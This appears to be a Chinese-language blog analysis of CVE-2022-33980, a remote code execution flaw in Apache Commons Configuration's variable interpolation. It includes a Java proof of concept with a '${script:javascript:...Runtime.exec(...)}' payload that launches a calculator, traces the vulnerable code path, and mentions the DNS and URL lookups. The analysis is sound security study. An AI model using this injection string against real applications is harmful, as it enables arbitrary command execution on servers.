Apache Commons Configuration RCE(CVE-2022-33980)分析

漏洞分析

public static void main( String[] args ) {
        InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
          .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
          .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
          .create();
        // 创建 ConfigurationInterpolator 实例
        ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
        // 解析包含占位符的字符串
        System.out.printf("script: %s",configurationInterpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"open -a calculator\")}"));
    }
image-20230717153510710

通过ConfigurationInterpolator.interpolate()方法解析出表达式的值

image-20230717154543221

首先会调用 looksLikeSingleVariable 判断是否符合表达式的格式:以${开头,}结尾

image-20230717155101816

之后使用resolveSingleVariable对表达式进行处理

image-20230717155424864
image-20230717155433051

调用extractVariableName去掉${}。接着调用 resolve 对表达式进行处理,使用:来分割

image-20230717155722675

然后先通过fetchLookupForPrefix取出script的lookup对象

image-20230717160434860

然后执行lookup

image-20230717160507978
image-20230717160737230

根据选择的引擎执行 eval() 方法的脚本引擎提供了在 Java 程序中执行不同脚本语言(例如 JavaScript、Groovy、Python 等)的能力,甚至包括执行 Java 代码本身的能力。虽然 javax.script 包通常用于执行脚本语言,但它并不限制执行的内容只能是脚本语言代码。实际上,Script Engine 是可以执行任意可执行的代码,包括 Java 代码。

除了Script引擎,其他一些引擎(例如 URL 和 DNS 引擎)也具有潜在的危险性。这些引擎可能涉及到网络连接和执行远程请求,因此在使用它们时需要格外小心,以防止可能的安全漏洞。

漏洞复现

ScriptEngine

image-20230717161400488

DNSEngine

image-20230717160946603
image-20230717160954381

URLEngine

image-20230717161215931
image-20230717161240539